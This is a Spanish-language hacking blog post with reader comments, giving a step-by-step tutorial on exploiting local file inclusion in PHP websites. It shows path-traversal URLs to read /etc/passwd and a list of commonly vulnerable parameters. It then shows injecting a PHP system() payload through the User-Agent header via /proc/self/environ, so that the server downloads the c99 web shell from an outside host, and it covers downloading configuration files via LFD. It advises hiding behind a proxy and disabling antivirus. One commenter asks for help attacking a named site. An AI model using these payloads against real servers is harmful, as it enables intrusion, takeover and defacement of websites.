domingo, 28 de octubre de 2012

Vulnerabilidad LFI Y RFI


RFI (Remote File Inclusion) y LFI (Local File Inclusion) son el tipo de vulnerabilidade que mas vamos a  encontrar en un aplicativo, esto supone poder ejecutar en la aplicación código externo a la misma, ya sea habiendo conseguido subir un fichero malicioso a la misma (LFI) o ejecutando código malicioso en la aplicación alojado en otro servidor (RFI).....Ahora existen muchas maneras de explotarlas ya sea con ayuda de un pequeño plugin o de alguna otra maner..=)...Pues comenzemos...=)

Primero debemos tener una web que posea dicha vulnerabilidad..=D...en este caso va ser..=)

Objetivo :    www.site.com/index.php?page=1



Ahora debemos saber si es vulnerable o nop...=)...para eso utilizamos el siguiente método..=)...Este metodo consisten adicionar /etc/passwd....o ../etc/passwd...puede ser de cualquiera de las dos formas pero la segunda es la mas generalizada...=)...Pues a digitarr!!!!!!!!!!!!!!

www.site.com/index.php?page=../etc/passwd
www.site.com/index.php?page=../../etc/passwd
www.site.com/index.php?page=../../../etc/passwd
www.site.com/index.php?page=../../../../etc/passwd  <----Vulnerable...xDDD!!!!!!!!!!!!




¿Pero como sabemos que es vulnerable ahi..?

Sencillo, el servidor tiene que mostrarte algo como esto ....=)

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news


Si ha salido eso en la interfaz de la web......es porque es vulnerable....=)

Nota :

En algunas ocasiones usted tendra que añadir un byte nulo.....ejemplo....=)

 http://www.site.com/index.php?page=../../../../etc/passwd

Ahora esa varible page , puede ser de distintas formas...ejemplos...=)

acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=

Una vez que hemos reconocido que la web es vulnerable ...=)...hacemos lo siguiente....xDD!!!!!

Tenemos que hacer un pequeño reemplazo a la estructura  /etc/passwd por el /proc/self /environ

Si hacemos ese pequeño cambio, entonces nuestro objetivo quedaria de la siguiente forma...=)

http://www.site.com/index.php?page=../../../../proc/self/environ




Y con esto vamos a conseguir algo parecido a esto...=)

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac
HTTP_HOST=www.example.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../etc/passwd
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@example.com
SERVER_NAME=www.example.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0
SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Server at http://www.site.com Port 80


xDDDDDDDDDD!!!!!!!!!!!!!!!!!!!!!!!!!!!.....Yeahhh!!!!!!!!!!!!!!!!


Ahora por ultimo vamos a subir nuestra pequeña y gran amiga....Nuestra shell...xDDD!!!!..Yeahh.!!!

 Para hacer esta hazaña...xDD!!!!....Es necesario descargarse un plugin de nuestro amigo Mozilla...(Supongo que se imagina que esto ser hace con el Firefox.) cuyo nombre es Tamper Data.

Sitio oficial :        https://addons.mozilla.org/es/firefox/addon/tamper-data/


Ahora que ha descargado, usted lo puede encontrar en la sección "Herramientas" de la barra de tareas Firefox....=)
  
Importante debemos tener abierto nuestro objetivo..=D

 http://www.site.com/index.php?page=../../../../proc/self/environ  



Ahora debemos dar  click en "Comenzar modificación"

OjO..........(No vayas en ninguna otra página o /proc/self/environ no cargara). 

Ahora con cuidado actualize la página....A continucacion le va a salir 3 opciones...que miedooo..!!!!!!..xDDD!!!!!. 
Haga clic en "Modificar", y a continuacion les va a generar una ventana, usted va a buscar la opcion que dice  User-Agent.



Para continuar necesitamos tener la direccion de una shell...=)....Asi que facil...diganme quien no ha escuchado acerca de la shellc99...pff..recontraconocida..xDD!!!!...Si mal no me equivoco el link donde esta esta shell es el siguiente..=D

http://c99.gen.tr/c99.txt  
(Disculpen si ya no esta activa..xDDD!!!!y desconecten momentaneamente su antivirus.)

 Importante :    Siempre , pero siempre hay que usar un proxy / VPN.

Ahora para terminar solo adicionamos esta pequeño codigo para que se ejecute en el servidor..=)

<?system(‘http://c99.gen.tr/c99.txt  -O c99.php’);?> 


Y listoooooooooooooo!!!!!!!!!!!!!


A continuación, pulsamos Aceptar y solo esperaoms a que termine de cargar la web...=D

Para terminar solo vamos a la barra de direcciones y digitamos....=)

http://www.site.com/c99.php

Y se nos mostrara nuestra shell.....y Listo!!!...el servidor es nuestro..xDDD!!!!!!!!!!!!!!!!!!! 

 
Para cerrar este post voy hacer referencia a la vulnerabilidad LFD (Local File Download).

Esta vulnerabilidad consiste en descargar archivos del mismo servidor web...por ejemplo...:

http://www.siste.com/index.php?download=index.php

Al adicionar index.php, estamos pidiendo el index de la web....

http://www.siste.com/index.php?download=configuration.php

Ahora estamos piendo el archivo de la configuracion de la web.......Y asi podemos seguir pidiendo descargar archivos del servidores...=).......tambien claro podemos pedir la hoja del administrador...=)....y asi poder tener el acceso al servidor tan solo descargando archivos...=D...


  
Por ultimo voy a presentar estar herrmienta llamada Fimap, cuyo objetivo es analizar y corroborar si una web tiene vulnerabilidad LFI .

Esta herrmienta se encuentra en BackTrack5R3 y es muy sencillo de usar...=)

Bueno ahora si creo que ya llegamos al final del post.......=).....espero que les sea de utilidad...=).....Y tambien espero que no hagan muchos desface, ya que eso es un delito...=)....Bueno ya sin mas que decir me despiedo y sera hasta la proxima.....Nos vemos...=D....











P.D : Agradesco a esa persona que me ayudo en esos momento muy dificiles por los que estaba pasando........Gracias Peque........por esas palabras de apoyo......=D  





2 comentarios:

  1. Hola hay un par de cosas que no entiendo de tu explicacion:
    '''adicionar /etc/passwd....o ../etc/passwd...puede ser de cualquiera'''¿pero que diferencia hay?

    '''En algunas ocasiones usted tendra que añadir un byte nulo.....ejemplo....=)''' ¿y el ejemplo?

    y...

    page=../../../../etc/passwd
    Ahora esa varible page, puede ser de distintas formas...ejemplos...=)

    acion=
    act=
    action=
    API_HOME_DIR=

    ¿estas son las 'variable pages' a las que te refieres? ¿en que afectan?

    ..Ya se que esto ha sido un interrogatorio mas que unas dudas jeje ,, perdona, es que me interesa bastante el tema, te agradeceria si almenos me contestaras a alguna.
    Gracias por el tuto y $uerte!

    ResponderEliminar
  2. me podrias ayudar con esta http://www.metin2server.com

    ResponderEliminar